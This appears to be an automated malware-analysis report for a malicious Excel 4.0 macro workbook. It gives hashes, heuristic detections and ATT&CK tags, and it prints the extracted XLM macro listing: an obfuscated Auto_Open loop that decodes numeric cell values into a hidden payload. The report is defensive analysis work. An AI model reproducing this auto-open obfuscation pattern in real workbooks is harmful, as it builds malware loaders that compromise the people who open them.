Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8651c261c1c44af…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:43:30 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 10c7ddd78c93cf2f1e55df79f900a2db SHA-1: b6ffbeadee8f639e619a4e8c8ebd85a688a4f93a SHA-256: a8651c261c1c44af1c4813958dd41db34b23267add6d018b2f1c25f25201e388
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected with critical heuristics for OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN. This indicates the presence of an Auto_Open macro designed to execute potentially dangerous functions, such as running external code. The macro sheet itself contains obfuscated data, suggesting an attempt to hide its malicious payload, which is typical for macro-based malware designed to download and execute further stages.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6781 bytes
SHA-256: 0b063637a4fb95317c5e31440e0c98872a30170a2abd51e49b152394d3f9b99b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cKTxkLwcvT
' 0018     26 LABEL : Cell Value, String Constant - AfxvotQnPda len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F177 
' 0018     20 LABEL : Cell Value, String Constant - dchlh len=0 
' 0018     26 LABEL : Cell Value, String Constant - exXHlwOIHUn len=0 
' 0018     22 LABEL : Cell Value, String Constant - FfIWsfC len=0 
' 0018     27 LABEL : Cell Value, String Constant - IJeteoGXsFVE len=0 
' 0018     20 LABEL : Cell Value, String Constant - JwwRV len=0 
' 0018     20 LABEL : Cell Value, String Constant - KSLlv len=0 
' 0018     20 LABEL : Cell Value, String Constant - luvQe len=0 
' 0018     23 LABEL : Cell Value, String Constant - MgvmAorc len=0 
' 0018     21 LABEL : Cell Value, String Constant - NGAJoQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - OjaPWMp len=0 
' 0018     22 LABEL : Cell Value, String Constant - okVcEMa len=0 
' 0018     24 LABEL : Cell Value, String Constant - pmaOBexcJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - qmKnj len=0 
' 0018     23 LABEL : Cell Value, String Constant - RdjgqESp len=0 
' 0018     20 LABEL : Cell Value, String Constant - rkgaj len=0 
' 0018     20 LABEL : Cell Value, String Constant - rmkXg len=0 
' 0018     25 LABEL : Cell Value, String Constant - sDdtzfaRKT len=0 
' 0018     24 LABEL : Cell Value, String Constant - UnKlzAJGD len=0 
' 0018     25 LABEL : Cell Value, String Constant - VwHomEXEqZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cKTxkLwcvT,S52,"",-923.00000000000000000000
'  cKTxkLwcvT,S53,"",-410.00000000000000000000
'  cKTxkLwcvT,S54,"",-908.00000000000000000000
'  cKTxkLwcvT,S55,"",834.00000000000000000000
'  cKTxkLwcvT,S56,"",940.00000000000000000000
'  cKTxkLwcvT,S57,"",-382.00000000000000000000
'  cKTxkLwcvT,F83,"SET.NAME("JwwRV",0+VALUE("0"))",""
'  cKTxkLwcvT,F88,"SET.NAME("AfxvotQnPda",JwwRV)",""
'  cKTxkLwcvT,F92,"SET.NAME("okVcEMa",JwwRV)",""
'  cKTxkLwcvT,F95,"SET.NAME("luvQe",COUNTA(NGAJoQ))",""
'  cKTxkLwcvT,F100,"SET.NAME("MgvmAorc",COUNTA(exXHlwOIHUn))",""
'  cKTxkLwcvT,F102,[],""
'  cKTxkLwcvT,F104,"SET.NAME("KSLlv","")",""
'  cKTxkLwcvT,F108,"AfxvotQnPda",""
'  cKTxkLwcvT,F112,"SET.NAME("pmaOBexcJ",HLOOKUP("*",NGAJoQ,AfxvotQnPda,FALSE))",""
'  cKTxkLwcvT,F116,"RdjgqESp",""
'  cKTxkLwcvT,F120,"SET.NAME("IJeteoGXsFVE",JwwRV)",""
'  cKTxkLwcvT,F124,[],""
'  cKTxkLwcvT,F126,"IJeteoGXsFVE",""
'  cKTxkLwcvT,F128,"FfIWsfC",""
'  cKTxkLwcvT,F132,"rmkXg",""
'  cKTxkLwcvT,F137,"dchlh",""
'  cKTxkLwcvT,F141,"SET.NAME("UnKlzAJGD",VALUE(HLOOKUP("*",exXHlwOIHUn,dchlh,FALSE)))",""
'  cKTxkLwcvT,F143,"VwHomEXEqZ",""
'  cKTxkLwcvT,F148,"KSLlv",""
'  cKTxkLwcvT,F153,"okVcEMa",""
'  cKTxkLwcvT,F156,NEXT(),""
'  cKTxkLwcvT,F160,"sDdtzfaRKT",""
'  cKTxkLwcvT,F162,[],""
'  cKTxkLwcvT,F165,"qmKnj",""
'  cKTxkLwcvT,F168,NEXT(),""
'  cKTxkLwcvT,F172,RETURN(),""
'  cKTxkLwcvT,F202,"SET.NAME("OjaPWMp",F83)",""
'  cKTxkLwcvT,F204,"NGAJoQ",""
'  cKTxkLwcvT,F206,"SET.NAME("exXHlwOIHUn",R59C12)",""
'  cKTxkLwcvT,F209,"SET.NAME("qmKnj",217)",""
'  cKTxkLwcvT,F211,"SET.NAME("rkgaj",6)",""
'  cKTxkLwcvT,F216,OjaPWMp(),""
'  cKTxkLwcvT,F217,HALT(),""

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